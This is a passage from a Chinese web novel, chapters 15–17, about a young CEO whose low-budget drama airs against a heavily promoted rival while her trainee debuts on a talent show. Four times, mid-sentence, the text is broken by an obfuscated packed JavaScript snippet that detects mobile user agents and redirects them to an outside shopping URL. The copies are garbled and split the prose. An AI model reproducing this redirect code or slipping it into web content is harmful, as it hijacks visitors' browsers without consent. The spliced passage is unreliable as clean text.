拍摄结束当天，严志明和程青厌一起对着黄历选了个良辰吉日，发微博宣告定档日期。 在《真千金》已经有不少人关注的情况下，哪怕他们的官博跟别的电视剧动辄抽奖送礼比起来显得十分寒酸，也翻出了点小水花，论坛里有不少期待的声音。 程青厌宣布定档时间的几个小时后，《花云衣》的定档日期直接横在热搜上。 陶露跑到程青厌办公室：“程总，花云衣也定档了！” “这么巧，跟我们同一天发布时间。我有看到过他们的进度，应该定在下个月正式开播？” “如果是就好了。”陶露忧虑地说，“他们到底是什么意思，定在跟我们同一天！” 原著中没有提及《花云衣》具体哪一天开播，大致的时间还是有的，就是下个月。 没有换女主都要后期做到下个月才能播，这次《花云衣》一半的进程都废了重拍，制作完成的时间还提前了？ 《花云衣》在拍摄过程中时时刻刻都要与《真千金》比较，在不断拉踩她们的同时提高了她们剧组的知名度，陶露生气《花云衣》阴险的同时也感到害怕：“要不我们换个时间播？花云衣名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396425|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声太大了，他们男主角粉丝还多，真定在同一天我们估计打不过。” “打不过”是陶露的高情商说法，她真正想说的是，估计得被碾压得完全没水花。 有很多剧迷会抱怨自己喜欢的剧糊，实际上真正的糊剧是根本没法让人注意到的。 陶露天天告诉自己打工人少操心大老板的事，可这么久相处下来，还是不希望自家老板参与的第一部剧惨淡收场。 程青厌没太将这件事放在心上，注意到陶露的表情，才放下正在批文件的笔：“不用太担心了。真正好的东西不会被埋没，《真千金》的成品我们都看过了，完全拍出了我想要的感觉。况且电视剧不是电影，不存在观众看了这一部就不会看另外一部的说法。定了的日期不用改了，让市场去决定一切吧。” 她不是多在意面子的人，如果对自己的剧没有信心，现在就会找个理由宣布改时间，哪怕一定会被《花云衣》粉丝嘲讽。 可她有信心。 这部剧她没有资金上的投资，却是实际上的制片人，她跑剧组的时间比待在公司的时间都要多。 从背景到细节动作，程青厌全程都看着，最终剪出来的预告片和成品，她跟导演一样熟悉。 “跟剧组宣发协商一下，尽早发预告片。” 《花云衣》的预告片跟着定档日期一起出来了，剧组甚至财大气粗地转发十万元的礼物抽奖，热度蹭蹭飙升。 程青厌琥珀色的双眸平静地看过去，令陶露焦躁的心也逐渐冷却稳定下来：“程总，且不说我们跟他们IP差的热度，单看他们是上星剧，去的还是一贯收视率最高的苹果台，我们就完全比不过。以我的建议，我们还是找个理由推迟定档时间，别跟他们杠上了。” 程青厌笑了笑：“你心里是不是在想，我不肯推迟，就是因为我从《花云衣》里退出来了，这才急于证明自己投资的新剧比以前的要好？” 陶露在无数个倒闭的公司待过，见过太多死鸭子嘴硬的老板，这会被直接点了出来，反倒很不好意思，支支吾吾说不出来。 “有这种想法很正常。”程青厌道，“但你有没有想过，这恰巧是我们的机会。《花云衣》在拍摄期间，每天都下水军把我们和他们捆绑在一起。他们是为了用我们来抵消他们的负面评价，却也为我们带来了热度，这次他们紧随其后跟我们同时播出，你现在就可以去看看，我们是不是又上热搜了？” 陶露打开手机，果然花云衣剧组一下子就登了热搜前几名，但原本没多大关注量的《真千金》官博也爬到到了热搜末尾。 这可是没有花一分钱买热搜，白来的热度。 “假设我们决定改变播出时间，《花云衣》确实没法再拉踩我们，等他们播完了，我们会更加回到无人关注只能靠品质来取胜的地步，谁能保证那时候没有别的热剧？他们既然要送我们热度，我愿意接着，身为员工可以不愿承担风险，身为总裁不能。” 陶露沉默下来，将这番话咀嚼再三。 倘若是她以前的老板，遇到这种事不用她说，老板就先一步提出要换时间了。商业活动规避风险，稳扎稳打似乎已经成了他们的潜规则。 以至于陶露都没想过，主动出击，调劣势为优势并不是自大，而是精心考虑过的结果。 她向程青厌微微鞠躬：“抱歉程总，我之前用狭隘的思维去猜测你的想法。不管是从态度还是商业的角度，我都要为刚才一直催促你去更换定档时间道歉。” 程青厌搁下钢笔，起身扶住她：“陶露姐，不用道歉，其实我很开心你能这样说。” “你不生气公司里有人跟你意见不同？” “你跟其他给我提意见的人比起来完全不算什么。” 你能想象每一天都有人在耳边念叨，陛下跨的步子太远了，陛下这道菜多吃了一口，陛下上朝时眼睛眨得多了？ 她刚穿到古代时，朝廷处境危机，所幸前朝有几个忠心的大臣，每天都跟魏征上谏唐太宗一样找她念叨。 她从中学到许多，性子也被磨得极有耐心，陶露这几句对她来说啥也不算：“为了我好的人才会提意见，” “上个月工资已经发了，你却还在这里……” 程青厌抬眸，眼里满是笑意。 陶露局促起来，身为工作十几年的社畜，被小这么多的老板调侃还是第一次。 她哪里会忘，第一次见到程青厌时是用那个月还没发完工资，才勉强留在这里的。 现在…… 程青厌这些天和她在剧组同吃同住的记忆浮现，陶露也难得露出个真心的笑：“程总，我这可是为了下个月工资能多点才没走的。” 15. 第15章 在两边宣发人员天天倒计时下，开播当天似乎来得很快。 程青厌小小的出租屋里，公司的四名艺人，除了戚弥玉已经进选秀节目封闭培训以外，都端端正正坐在沙发上。 还有将程青厌奉为幸运星的严志明也自发加入琦季公司的小团建，搓着手等待自己最艰辛的一部电视剧播出。 《真千金》找播放平台时，被大平台飘雪视频买了版权。 据说一开始飘雪根本没注意到他们，还是飘雪内部有人提到他们跟《花云衣》的交锋，采购方认为可以打这个名头把两部剧一起抬一下，才低价把他们买了。 熬过长达八十秒的广告，第一个切入的镜头就是豪华的富人区，巨大的喷泉闪着金色的光。其中最大最亮眼的别墅里，一个衣着朴素的中年女人正趴在地上清扫看起来已经一尘不染的地板。 旋梯上施施然走来一位少女，一头微卷的长发，眉眼精致而高傲，抱臂娇声喊道：“齐姨，不是叫你把早饭做好了端我房间吗，我都要迟到了！” 保姆齐姨好脾气地笑道：“溪小姐，我这不是想让你多睡会，少爷都把早饭打包好了，你去车上吃吧，不耽误时间。” 顾溪这才满意，等齐姨给她披上校服外套，跟哥哥顾昭一起走向豪车，远处的齐姨一脸温柔地目送他们离开，仿佛这对雇主家的少爷小姐就是她的亲儿女一般。 弹幕实时开着，不过人很少，偶尔飘来一条： 【顾溪是女主吗，好漂亮啊。】 【没看简介，真千金说的应该就是很有钱的真正的千金？那应该就是顾溪了，应该又是富家女跟公子哥恋爱的剧情，老套。】 镜头一切，从明亮宽敞的别墅变成了地下车库，一个扎着麻花辫的女孩费力打开卷帘门，简陋的场地令画面的色调都变得灰暗。 “齐念，要去游盛高中上学了？” 天不过蒙蒙亮，这个老旧的社区已经有许多人带着未睡醒的困意起床开始新一天的工作，见到齐念，他们却不约而同地露出善意的微笑。 齐念拿着录取通知书冲邻居招招手，跨上生锈的自行车疾驰而去，身上洗得发白的初中校服已经不合身了，却在太阳底下放出光芒，仿佛尘埃在跳舞。 长长的镜头，记录下齐念从嘈杂的社区，骑到无人的小路，穿过热闹的商场，擦肩而过可能一辈子都与她无关的富人别墅区，最后穿插到一堆豪车中，看见巨大的招牌——游盛贵族高中。 齐念时不时看一下表，指针每过十五分钟，就会穿插回忆的片段。 齐念在餐厅做服务员被客人找茬骂得狗血淋头，同一家餐厅，顾溪和家人在享受大餐，经历在旁边亲自服务，生怕有一点不周到。 齐念洗旧衣服，顾溪从party上回到家，保姆抱过来的生日礼物堆了整个客厅。 齐念醒的时候太阳都没醒，做饭骑车去学校，还被闯红灯的电动车撞伤，膝盖破皮。顾溪被高三的哥哥温柔叫醒，在豪车里靠在哥哥肩膀上打哈欠。 【齐念好惨啊，她才是女主吗？】 【这个女生也好漂亮，而且我怎么感觉她跟顾溪有点像？导演从哪找来这么两个美女？】 【齐念跟顾溪的对比也太强烈了吧，这么好的女孩为什么要过这种生活？】 一众豪车中，最闪亮的那辆疾驰而过齐念身前，其余所有车都很快地给这辆车让道。 齐念哪里见过这阵仗，完全不社恐的她逮住一个同学，眼睛亮闪闪地问：“那是谁？怎么大家都要让他们先过？” 同学还没回答，豪车的车窗摇下，一张和她有几分相似的眼睛往了过来。 这段对视，齐念的眼神是好奇而期待，顾溪眼里只有漠视和冷淡。 严志明是会拍人的，将明柚自带的古灵精怪又镀上坚韧自强的光芒，这样的女主角，让观众喜欢太容易了。 只可惜观众刚对这个女孩产生兴趣和喜爱，虐的部分就来了。 齐念身为班里唯一一个出身贫寒的学生，入学成绩却是全班第一，激起了许多同学的不满。这也就算了，齐念路过篮球场险些被篮球砸到，一向不管闲事的林北意竟然帮她挡了球！ 这下可捅了马蜂窝了，林北意是顾溪的未婚夫，更是全校女生公认的校草，齐念被班里人孤立瞬间变成全校人的团厌。 笔记被撕、饭菜被撒、下课被拉进废弃教学楼警告……每次齐念回到家，都要拧干裙子上的水，挡住额头上的伤口，再给晚归的母亲露出笑容。 她的母亲正是顾家的保姆，对顾溪和顾昭和颜悦色，对待齐念却很冷淡，哪怕齐念考中游盛这种在普通人家认为是祖坟冒青烟的事情，她也是态度平平。 哪怕是这样，齐念也没有抱怨过一句，在班主任让她们写下自己的未来的心愿时，她毫不犹豫写下带母亲过上好生活，不要再让她这样辛苦。 陶露看得眼泪都快流出来了，她自己有个三岁的女儿，触景生情，想到万一自己的女儿万一有一天受到欺负，这心就止不住的痛。 看到齐念在不会游泳的情况下，游泳课强行被人推下泳池，陶露哪怕知道后续，也忍不住握紧了双拳。 顾溪在泳池边抱臂笑看，好几个跟班劝她：“溪溪，要不还是把她捞出来吧，万一真出了什么事……” 不等顾溪发话，一道高大的身影跃入水中，一把抱起呼吸虚弱的齐念，眼神如刀子一般刮过顾溪。 顾溪猛地站起来：“林北意你干什么！我才是你未婚妻！” 顾、林两家父母关系极好，早就订下娃娃亲，生下一儿一女就凑成一对。这些年顾溪对林北意芳心暗许，可林北意却始终不冷不热。 这下来了个她看不顺眼的齐念，林北意竟然对一个贫困生特殊对待，她哪里能忍！ 第二集的结尾，停在了顾溪沉着脸盯着月考成绩单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396426|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上齐念排名第一的成绩，与跟班耳语几句。 【顾溪说了什么啊，是不是又要去害人。】 【好害怕好害怕，我怎么感觉她要对念念的成绩动手脚。】 【怎么第一天就放两集！我要立刻看到下一集啊啊啊！】 【我纯粹是为了男女主和女二的颜值来了，没想到这么上头，怎么下一集还要过三天才播。】 陶露虽然知道这样最能吊住观众的胃口，可自己也身为观众，忍不住说：“我还真是好久都没看到这么能抓住人心的剧了。” 她从小就爱看剧，小时候看的片子都是黑白的，长大了自己到娱乐公司来更是审查过无数个电视剧。却很难得见到《真千金》这种，明明肚子里有一堆话要吐槽，但就是想继续看下去的剧。 严志明身为导演，没怎么激动，只是跟程青厌夸道：“小江还有明柚立雪这两姐妹，是真的不错。小江很有演技的天分，双胞胎更是聪明听话，剧组里面谁都喜欢她们俩。” 明柚和立雪作为御前女官，所有要讨好陛下的人都要讨好她们，这还是第一次不带有什么目的性的被夸。 连一向老成稳重的立雪，想到在剧组里所有人都把她们当场宝贝的模样，也忍不住有些脸红。 她跟姐姐在剧组，各式点心摆在小桌子上，只要眼神盯着哪个点心超过三秒，严导就会叫人拿给她们吃。更别提还总是有看着她们年轻又是从山区出来，母爱泛滥的工作人员睡觉前都要提醒她们盖好被子。 这个待遇江执原本也该享受的，可惜他嘴好欠，在明柚立雪加入之后迅速失去了团宠地位。 “程总，热度实时排名出来了。” 陶露密切关注着热度榜，在飘雪平台中，《真千金》的热度不过4000，而《花云衣》首播收视已经破了9000。更别提《花云衣》还在苹果台联播，占据台内收视第二的次黄金时间。 《花云衣》在同期热度排名里毫无疑问是第一，《真千金》排在第四。排名固然不高，却已经比陶露最开始接触这个项目时预料的要好得多得多了。 超出预想就是福，陶露对这个从未看好过的项目要求不高，反正琦季公司又不是出品方，只要这片子别亏钱，能顺利把艺人们的片酬尾款到账就行。 陶露：“程总，我们又上热搜了，#真千金悬念#，位次是39。《花云衣》也在热搜上，是广告位，估计我们的热搜又是对方要拉踩我们买上去的。” 程青厌直觉不对：“开播前《花云衣》风波不断，一会是投资商撤资，一会又是女主角人设不符，这才被迫给我们热度来压他们的黑料。播出之后怎么还会给我们买热搜？” 陶露点开《真千金》的热搜，竟不是想象中的花云衣粉丝装成路人来嘲讽她们比不过《花云衣》，而是切切实实地在讨论剧情！ 陶露傻了眼：“39名的热搜，竟然能有这么多讨论量？！” 16. 第16章 豆瓣酱是国内最大的论坛，里面关于关于影视剧方面的讨论一向最紧跟潮流。 在满屏带了花云衣关键字的帖子里，一条【《真千金归来：退亲未婚夫后悔莫及》观剧repo，看看我新墙头的第一部剧拍得什么样】被排在最末。 楼里基本上是ID名为【求江执再穿古装】的楼主在自言自语： 【在c站刷到江执的第一眼就爱上了，没想到这么快就能看到剧。我不会是江执全网唯一活粉吧？】 【说实话这剧看着一脸扑相，身边朋友们全去看花云衣了，连个能讨论的人都没有。】 【开始了！哇这个女孩子好拽，有点气场在身上的。顾溪，那应该就是女二号了，导演你要再找这么好看的小姐姐演反派我会恨不起来的！】 这个帖子的回复不多，但楼主说话有梗有趣，浏览量还是挺高的。 网友看到楼主半小时都没再发言，问道：【楼主人呢，是太难看弃剧了吗？】 楼主回：【没。等我缓缓，我现在都不知道该怎么说了。】 网友们都认为这只是一部普通的糊剧，见楼主这么说倒来了兴致： 【什么情况，有这么难描述吗？】 【楼主不说那我也要去看看，几个主演的颜值确实吸引我。】 这几个说去了的，竟然一时半会都没了消息，网友们摸不着头脑之时，楼主终于回复了： 【我现在很难描述自己的心情，眼睛酸，想哭，更想骂人。齐念真的太好了，是我见过最好的女主角。她太美了，不是精雕细琢出来的美，在剧里面几乎全是素颜，可是那种对生命尽情投入，每天都绽放生机的美真的太戳我了。她对每一个人都用最诚恳的态度对待，在学校交到的唯一一个朋友随口说生日想要新款包，她偷偷接了好几份兼职买下作为生日礼物，却被朋友扔到角落，还要被吐槽完全不如顾溪随手送给她的大牌包包。想到自己也有一片真心被朋友嫌弃的经历，真的太能共情她了。可是齐念跟以往怎么被伤害都无怨无悔的圣母女主不同，事情发生之后她抹了眼泪就去要回了包，换钱给自己买了新的学习资料。善良优秀从不怨天尤人，很难相信谁看了齐念会不喜欢，不明白这么好的女孩子，她身边的人是全瞎了吗竟然去欺负她？林北意你不是男主吗，没看到念念因为你受了这么多欺负，你倒是好好保护她啊！！】 她发出去之后暂时没人回帖，也没在意，重新点开《真千金》开始二刷。 刷完还不过瘾，又开了个飘雪视频的VIP把为数不多的花絮全看了一遍，这才重新切回豆瓣酱论坛。 她这半个小时都没人说一句话的帖子，怎么突然被顶成了几百楼的热帖，还上论坛热榜了？ 楼主心虚地忽略了前面一连串的【你不是男主江执的粉丝吗怎么心思全在女主身上】调侃，后面几百楼全是剧情讨论。 【我可能是被下蛊了，剧情太怪了，一分钟我能吐槽60秒但真找不出bug，骂着骂着就看完了。】 【到底有没有人知道“真千金”到底指代什么啊，如果照其他人说的就是指真正的千金，那不就是顾溪，难道这部剧其实顾溪的复仇？让退亲的未婚夫林北意后悔莫及？】 【最怪的还是齐念的妈妈，我要是有这么出息的女儿做梦都要笑醒了，她倒好，当个保姆对东家家里的儿女那么好，对自己亲女儿不闻不问的。】 楼主喃喃道：“这不是糊剧吗？怎么有这么多人在看？” 她也是混了豆瓣酱这么多年的资深网友了，猜测可能是《真千金》下水军了。 她点进楼里回帖的网友们的主页看了好几个，这也不像是水军啊？ 不等她细想，闺蜜的微信如同连珠炮一般发送过来： 【气死我了气死我了，你看《花云衣》了没？方川拍的是什么东西！】 【他们拍出来这玩意跟原著有一分钱关系？把男女主角名字一改可以直接去当原创剧，到底为什么要来消费花云衣的IP？】 【莫贝贝那什么垃圾演技，我们女主是最活泼温暖的小太阳，被她演成了个天天装逼的白莲花。还有那个男主，简直抢戏一样跟莫贝贝抢镜头，加了一堆他和他朋友的戏，谁想看啊？】 【早该猜到小说改电视就是这样的。我的青春再也回不来了。】 楼主有点吃惊，闺蜜可是《花云衣》原著的狂热粉丝，哪怕大家都清楚通过小说改出来的电视剧经常翻车，她也不会介意。照她的话说就是：“只要能让我看到原著的影子，我自己通过幻想也可以喜欢上这部剧的。” 要求都低到这种程度了，还能骂成这样？ …… 花云衣开播前，主演粉丝和原著粉都开开心心地撒花期待，开播之后，原著粉痛苦骂街，主演粉看到一半就知道这剧必定不能靠自来水搞口碑了，得靠他们替自家哥哥/姐姐说话。 但是看着漫山遍野的差评，他们的手指停在屏幕前，不知道该怎么反驳。 莫贝贝演出了个跟原著完全不符的人设也就算了，问题是她新人设也矛盾重重，令人摸不着头脑，无论粉丝怎么洗，路人看着就提取出一句话—— 演技差。 有多少网友是被《花云衣》宣传的大投资大制作吸引来的，就有多失望。原著里是有豪门同学的存在的，上门豪华城堡钻石拍卖经常出现，官方更是拿着剧内所有道具全部为正品的噱头出了好一波风头，莫贝贝的D家高定礼服至今还被粉丝频繁拿出来炫耀。 结果他们看到了什么？简陋到极致的教室，黑板上错漏连篇的公式和古文，所谓的精装修新房连滤镜都遮不住墙角掉落的漆。 论坛里的舆论已然换了一波声浪，之前捧《花云衣》踩《真千金》的帖子全都冷了下去，取而代之的全是观众和原著粉对《花云衣》的吐槽。 以及对《真千金》的安利。 【不知道是不是我的错觉，真千金好像比花云衣好看多了。】 【+1，我好像也有这种错觉。】 【《真千金》的投资比《花云衣》少多了不是吗？为什么《真千金》里的环境那么好，场景全都是实景拍摄，连女主生活的平民区也很真实。《花云衣》里的场景都破破烂烂的，一点代入感都没有。】 【《花云衣》投资是《真千金》的好几倍吧，但前者的钱大部分都花在演员还有宣传身上了。光是莫贝贝的片酬就要了几百万，更别提男主可是二线，身价少不了。后者在宣传上几乎没花过什么钱，不然也不至于说是小糊剧了，演员也都是新人，要不了什么价的。】 【真千金真的挺好看的，女主善良但不装逼不圣母（此处指名拉踩花云衣女主），男主和女二的气场都很够，成功做到让人看了就想打他们。看看我们齐念吧，她真的值得你们喜欢！！】 【没人喜欢江执演的林北意吗？虽然跟其他剧里面对女主一见钟情之后就开始甜宠的男主不一样，但他演技真的好棒，各种微表情完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396427|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演出了贵族出身对女主这种平民女生的鄙夷却又忍不住被她吸引的动心。】 陶露划过深夜的豆瓣酱论坛，长长地舒了一口气。 网友们永远也不会意识到，他们随口一句话，背后是剧组长久的努力。 他们说《真千金》的场景拍的好，可剧组本来只能找到一所普通高中作场景，是程总坚持反对，去了现实中的贵族私立高中。 也就是程总的母校，程总花了许多时间，又是和班主任用常年年纪第一的身份套近乎，又是对着校长阐明利弊再三保证，才让这种注重隐私的私立学校肯展露在电视里。 拍女主角齐念居住的地下室时，程总为了让明柚熟悉这里的情况，经常陪着她吃住都在地下室，一待就是一整天，这才让镜头里的明柚举手投足都适应环境，仿佛真的在这里住了十几年。 可哪怕这样，《真千金》的收视率也只是小幅度的升高，《花云衣》反而因为太烂被骂上热搜，热度增加了。 程青厌也没有太关注和《花云衣》打擂台，《花云衣》在原著里是现象级爆剧，并不代表这次还能是。现在与原著的改变实在太大了，而程青厌从不是相信命运既定的人。 《真千金》既然已经拍完，按照此前她与剧组商定的宣发去做就行，不用再投入太多关注。戚弥玉即将开播的选秀综艺才是重中之重。 onepick的投票结果已经出来了，在好几个人气选手、百万粉网红、已经出道过几年的小明星之中，戚弥玉被放在最后一组图，却从官博发海报的第一分钟起，票数以惊人的速度增长。 截止一个星期的投票期，戚弥玉与第二名竞争激烈，最终打败第二名庞大的粉丝基础，超过他两千多票居于第一，意味着他是第一期节目里镜头的宠儿，导师也会更多地与他互动。 《筑梦99天》第一期，在训练营接受了这么多天的封闭式训练，戚弥玉的适应能力是全后宫最好的一个，看镜头不会像江执那么兴奋，而是平静以待。 节目开头是一段振奋人心的语录，有许多练习生封闭特训的镜头剪辑。 一个个压腿时的咬紧牙关，熬夜练舞时累到站不起来扑在地上的镜头，让本就有了心仪的练习生的观众们看得充满了怜爱，弹幕纷纷刷起了自己喜欢的选手。 人数太多，能被看见的也就只有最顶端的人气选手，弹幕刷的最多。 【余罗宝贝！】 【田星河冲冲冲，漫天星河为你而来！】 【君子如玉，藏器于心。弥玉加油加油加油。】 【戚弥玉！！！】 【看到弥玉的镜头了，他好像每次都是最后一个出练习室的。】 短短几分钟的视频点出了节目的主题，逐梦、筑梦、追梦。每一个练习生都渴望被粉丝们看见，而节目组给粉丝的任务就是挑选出最值得出道的五个人，完成他们的舞台梦想，组团出道成为最闪耀的明星。 后台里，99名练习生大部分都很紧张，这是许多人第一次真正意义上在大众面前露脸。 工作人员喊进度：“白灵娱乐，余罗，上台！” 余罗是公司派来的几名练习生里的队长，在d站发跳舞视频有几十万粉，在onepick选举中排名第二。 节目组选中他第一个上台，就是想在节目最初能激起观众的热情。 余罗却微微皱眉，跟队友说：“你们不是有小道消息，onepick第一名的要放在中间登场？” 17. 第17章 同公司的队友一向以余罗为中心，巴结着这个还未开播就人气极高的选手，纷纷道： “余哥，小道消息有真有假的，说不定导演改主意了，就想把最重磅的直接放出来呢。” “别担心了，你不是第一名谁能是第一？这么多人里面也就田星河的人气能跟你比一下，也就是靠着曾经出道过，有个十几万小粉丝，还不知道多少是僵尸粉，怎么可能抢走你的第一。” 余罗点点头，带着队友大步走向舞台。 余罗被花了大价钱签进白灵这种小公司，同公司的艺人都没什么名气，一起来的几个练习生更是实力差上许多，老板平日里就对他寄予厚望，给他养成了谁都看不起的性子。 若是遇到大明星，他自然恭恭敬敬，可这99个人里他一眼望去，没看出哪个人能跟他相比。 长得好看的看上去没他有实力，比他有实力的长相不如他。 余罗和队友表演完一首唱跳歌曲后，又被导师单独点名solo一段舞蹈。 没了拖后腿把歌曲节奏打乱的队友，余罗直接让节目组随便放beat，即兴表演了一段街舞。 导师连连点头：“没想到第一个出场的练习生质量就挺高的，vocal方面的实力还差了点，但是舞蹈的节奏和力度都很好。希望你在接下来几个月的训练中再接再厉，能让vocal水平也提高的话，A是跑不了的。” 几位导师没做太多商议，给了他B的评级，几位队友都是C和D。 队友们都对自己的评级早有预料，但直到胸前别上B的标志，余罗还是没能反应过来事情怎么会这样。 他不应该是onepick第一吗？不是说第一名只要表现得比较好，就会给出首A的荣誉，并且会被导师们大赞十分有潜力？ 怎么导师就是多跟他说了几句话，大家心知肚明的待遇他全都没得到？ 余罗踩着虚浮的步伐回到后台，在人群中搜索那个夺走他第一名的人究竟是谁。 练习生们长相区别都不太大，毕竟年轻观众们对于帅的定义就摆在那里，普通的帅哥扎堆时是有点难分清的。 直到他发现了角落里坐着的戚弥玉。 这个人给余罗的印象很深，是他们封闭训练到最后几天临时顶替进来的，嘴很甜，很快就获得了许多练习生的好感。 虽然长相算是九十几人里最出挑的一个，但这人余罗并没有太放在心里。临时替补，能是什么大公司来的吗？一看就是不被看重的打发进来的。 戚弥玉敏锐地注意到他的视线，礼仪性地扬了扬嘴角。 余罗没有回应，带着队友重新回到一众练习生的中心位置。 导演排布的出场顺序，基本按照一个出众的带着几个没什么特色的练习生，这样能最大程度让观众不停地看下去，不然观众看到了喜欢的选手就关节目了，完播率就不漂亮了。 一期节目两个多小时，哪怕跳掉中间的广告，观众们在时间过半左右还是会稍微审美疲劳，起身拿点零食。 就在这时，镜头切到舞台后的通道。通道做得流光溢彩，每个从后台出场的练习生都要经过这里，镜头都是直接扫过好几个人，几秒便到了前台自我介绍。 观众还是第一次看到镜头缓慢地从一位练习生笔直的双腿照起，逐渐上移，拍到整个人修长的身姿，以及精致到昳丽的面孔。 无数个观众在这一瞬间的反应是相同的，正要起身的腿不受控制地回到了桌前，根本移不开目光。 【这是谁啊？妈妈我又恋爱了。】 【是弥玉来了！我从海报图就一眼爱上！】 其他练习生许多对镜头还不熟练，有时甚至会刻意躲避镜头，眼神畏缩。 戚弥玉完全不同，面对高速移动的镜头，他总能捕捉到最合适的角度看过去。 这便是连程青厌都评价“察言观色第一流”的直觉般的能力。 观众们看了前面那么多开胃小菜，许多都看了个新鲜，尝遍了练习生的不熟练，哪想突然来了个既有练习生的青涩又有大明星的自信和敏锐的大帅哥。 发起人，也就是节目组请来最大咖位的明星冯迁举着麦克风对其他导师说：“现在上场的这位练习生可不一般。” 舞蹈导师很配合地问：“怎么不一般了？” “节目播出前，节目组组织了一场用海报图来投票的活动，他就是第一名。” 哗—— 场面一片震动。 导师们早就知道这是第一，装也装不出这么真实的震惊。 ——震动来自于后台。 他们是真不知道第一的归属，所有的猜测都是依据进封闭训练之前的人气值来算的。 结果第一不是余罗、田星河，也不是公司很大很会运作的那些练习生，而是一个临时替补进来的人？ 当舞台大屏幕打出琦季的logo，他们的骚动更大了。 这什么公司？听都没听过！ 好几个或不爽或鄙夷的练习生被剪进镜头，在观众心里燎起了火，弹幕急剧增加。 【他们什么意思，戚弥玉不能当第一？这些人是不是忘了节目打出来的标语就是观众打造一切？】 【我身边除了原本就有喜欢的选手的，其他人看了海报全投的戚弥玉。】 【这些人对观众的眼光有意见？好怕怕哦，你们越有意见我越不投你们。】 冯迁不跟对之前的练习生那样没说两句就直接叫人开始表演，而是抽出选手身份表格，边看边问：“戚弥玉，别人上台都是好几个练习生一起被公司送来的，你们公司怎么就来了你一个？” 戚弥玉：“我们公司老板刚登基不久，不像其他公司那样有备而来，暂时只能派我一个。” 弹幕上笑趴了一片：【登基可还行？现在的打工人真把老板当皇帝吗哈哈哈哈哈】 【怜爱这个小孩了，短短一分钟，美强惨已经占了两样。公司找不出人所以只能一个人来是什么小可怜啊呜呜呜。】 冯迁继续问：“我看你年龄是21，不过之前没有表演经历，是在做什么呢？一直在念书吗？” 这个问题程青厌交代过戚弥玉应对方式，他如流答道：“我此前一直住在偏远的山区，故而没有表演经历。” “啊？” “不可能吧？” 这下别说是后台了，导师们也真的惊了。 这哪里是山区能养出来的人？ 可这话一出，导师们也纷纷变得感性起来，不再询问他的出身，就怕戚弥玉会为此感到与其他人的差距。 在这种情绪的影响下，冯迁就连看到：“你的训练时常是……一天？！没事没事，咱们这里就是训练场，你接下来好好加油，大家都是同一起跑线，不会比别人落下什么。” 节目组为了防止有些练习生浑水摸鱼，把什么小时候听了几首钢琴曲这种经历也算作训练时常，做了很严格的规定，一定要进入公司后受的训练才能算。 程青厌在送他进节目组前，为他紧急培训了一整天。 戚弥玉不会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396428|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种事情上作假，他确实只训练了一天。 ——如果以往十几年从未懈怠过的歌舞练习不算在内的话。 余罗的心中大大松了口气。 练习生中不乏赶鸭子上架的，甚至之前被公司当做模特和演员培养，完全没接触过唱跳爱豆的业务。哪怕是这种情况，人家确定来节目都会被公司训练两三个月。 戚弥玉的训练时常竟然只有一天，已经说明了他完全不足为惧。别听冯迁说什么同一起跑线，这种场面话听听得了，毫无基础从山区来的人都能跟他练习了好几年舞蹈相比，他也配？ 戚弥玉不卑不亢地点点头：“那我开始表演。” 音乐和灯光变了。 * 一曲终了，冯迁久久难以回神。 他是在国内国际都享有声誉的人物，舞台生涯十多年，之前上场的那几十个练习生的表演在他看来与过家家也没什么不同，随口就能说出一堆缺点。 可是这一个，哪怕他用对待自己的严苛标准，甚至说用高于他的标准来看，也挑不出一点问题。 这近乎是世界级的表演。 或许唯一的缺点是舞台太小了、给戚弥玉的服装没有完全配合整场舞蹈的氛围……这种根本算不上缺点的缺点。 如果这是一个从小练习到大、享誉世间的舞蹈天才，表演出这样一首舞蹈是理所当然，可台上的这个男生…… 他只是从山区出来签约娱乐公司没几天的人！ 他的训练时常只有一天！一天！！！ 冯迁破天荒地鼓了掌，其余导师也跟上了，四个人鼓出了四百个人的架势。 可鼓完掌，他们又不知该说什么了。 